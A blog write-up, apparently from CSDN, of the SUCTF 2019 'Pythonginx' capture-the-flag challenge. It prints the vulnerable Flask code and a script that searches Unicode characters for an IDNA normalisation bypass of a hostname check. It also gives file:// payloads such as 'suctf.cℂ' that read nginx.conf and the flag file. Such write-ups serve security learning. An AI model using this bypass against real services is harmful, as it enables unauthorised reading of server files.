首页 > 系统相关 >[SUCTF 2019]Pythonginx 1

[SUCTF 2019]Pythonginx 1

时间:2024-07-12 21:56:35浏览次数:14  
标签:SUCTF __ return suctf url nginx host 2019 Pythonginx

目录

题目

在这里插入图片描述

代码分析

from flask import Flask, Blueprint, request, Response, escape ,render_template
from urllib.parse import urlsplit, urlunsplit, unquote
from urllib import parse
import urllib.request

app = Flask(__name__)

# Index
@app.route('/', methods=['GET'])
def app_index():
    return render_template('index.html')

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl, timeout=2).read()
    else:
        return "我扌 your problem? 333"

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

我们需要提交一个url,用来读取服务器端任意文件,需要绕过前面两个if,进入第三个if
三个if判断的都是host是否等于’suctf.cc’

urlsplit()

urllib.parse.urlsplit(url):这个函数将一个 URL 解析为以下五个部分:
    scheme:URL 的协议部分,如 http, https 等。
    netloc:URL 的网络位置部分,通常是主机名和端口号的组合。
    path:URL 的路径部分。
    query:URL 的查询参数部分。
    fragment:URL 的片段部分,即在页面内部定位用的锚点。
    
例如,对于 URL "https://www.example.com/path/to/resource?query=1#fragment",urlsplit 将解析为:
    scheme 是 "https"
    netloc 是 "www.example.com"
    path 是 "/path/to/resource"
    query 是 "query=1"
    fragment 是 "fragment"

nginx文件位置

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

解题

偷个脚本构造exp

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass


def getUrl(url):
    url = url
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False

if __name__=="__main__":
    get_unicode()

payload:/getUrl?url=file://suctf.cC/usr/local/nginx/conf/nginx.conf
得到文件目录
在这里插入图片描述
读取文件
payload:/getUrl?url=file://suctf.cℂ/…/…/…/…/…//usr/fffffflag
在这里插入图片描述

标签:SUCTF,__,return,suctf,url,nginx,host,2019,Pythonginx
From: https://blog.csdn.net/ubaichu/article/details/140389278

相关文章

  • Visio 2019 中文版安装下载教程【32/64位】,图文步骤详解,超简单,无套路!!!
    文章目录前言软件介绍软件下载安装步骤激活步骤前言本文针对visio2019的下载安装进行详细讲解,没有任何套路,大家可以放心使用,由于该类文章容易被和谐,大家可以收藏关注,以免迷路,若安装出现问题,请移步本文章收入的专栏,里面有解决方法,专栏内收入了超多好用软件,欢迎大家......
  • Microsoft SQL Server 2019 RTM GDR (CU27+GDR) 发布,修复高危安全漏洞
    MicrosoftSQLServer2019RTMGDR(CU27+GDR)发布,修复高危安全漏洞SQLServerNativeClientOLEDB提供程序远程代码执行漏洞CVE-2024-35272修复请访问原文链接:https://sysin.org/blog/sql-server-2019/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.orgSQLSer......
  • BUUCTF刷题_RoarCTF 2019_Easy Calc
    个人刷题学习记录,如有错误请多多指教进入题目如下,猜测是命令注入,输入ls弹框,估计是做了过滤查看页面源代码,发现一串代码,但是不怎么看得懂,查看网上大佬的wp进行学习看了别人的解题步骤知道这里有个url,存在calc.php,访问一下看看是啥上面注释里面写了有waf,猜测这里应该是waf的......
  • 2019第一届长安杯
    案情介绍在一起电诈案件中,受害者称自己的银行卡被他人冒用,曾收到假冒公安的短信,因为自己在一个P2P网站中理财,假冒公安称该网站已被列外非法网站,要自己到公安备案网站填写自己的信息,并帮助自己追回本金,因此信以为真,在网站上填写了自己的信息和绑定的银行卡信息;办案机关推测嫌疑人......
  • 题解:P10732 [NOISG2019 Prelim] Palindromic FizzBuzz
    题解:P10732[NOISG2019Prelim]PalindromicFizzBuzz题意题意十分明了,给予你一个区间,判断区间中每一个数是否是回文数。思路思路比较简单,首先将每一个数按每一位放入一个数组中,顺序无论由前到后和由后到前都可以。接下来将数组折半循环,判断前后是否一样。一样的话是回文数,......
  • [CSAWQual 2019]Web_Unagi XXE漏洞练习题
    题目地址:BUUCTF在线评测这道题就是简单的xxe漏洞的注入。进来之后我们进行一个信息收集,在upload下可以看到有个here的超链接。点进去之后得到了如下的一些信息。可以猜到是需要我们利用文件上传包含xxe漏洞利用来得到flag。<?xmlversion='1.0'?><!DOCTYPEusers[<!ENT......
  • P7382 [COCI2018-2019#6] Simfonija (中位数)
    P7382[COCI2018-2019#6]Simfonija中位数不妨设\(C_i=A_i-B_i\),那么操作后的代数式可以写成:\[\sum\limits_{i=1}^n|C_i+x|\]如果\(k=0\),那么\(x\)的取值就是一个经典问题了,即\(C\)序列的中位数(偶数取中间任意)。如果\(k\ne0\),要使答案最小,就是将\(k\)个数的代价变......
  • MS SQL Server with SSRS 版本从2014升级到2019版本
    升级过程中的一些注意事项。一台服务器上同时安装了MSSQLServer和MSSQLServerReportingService。1.因MicrosoftSQLServer2019ReportingService是独立产品,不在集成于SQLServer服务安装,所以需要单独下载安装包并安装2.升级MSSQLServer版本之前,需要先升级MSSQL......
  • [CISCN2019 华北赛区 Day1 Web2]ikun
    进入题目发现找到lv6查看源码发现用lv标志点击下一页发现url参数page写脚本importrequestsforiinrange(500):url="http://248e4e18-a7a1-4bb1-adc1-e3a177974773.node4.buuoj.cn:81/shop?page={}".format(i)reponse=requests.get(url)if"lv6.png"inreponse.tex......
  • [CISCN2019 华北赛区 Day1 Web1]Dropbox
    进入题目注册一个账号登录进去后上传一个文件发现只能上传图片下载删除时分别抓包发现在download.php里下载,在delete.php处删除发现filename参数,有任意文件下载漏洞下载download.php,delete.php目录遍历在delete.php里发现class.phpdb=$db;}publi......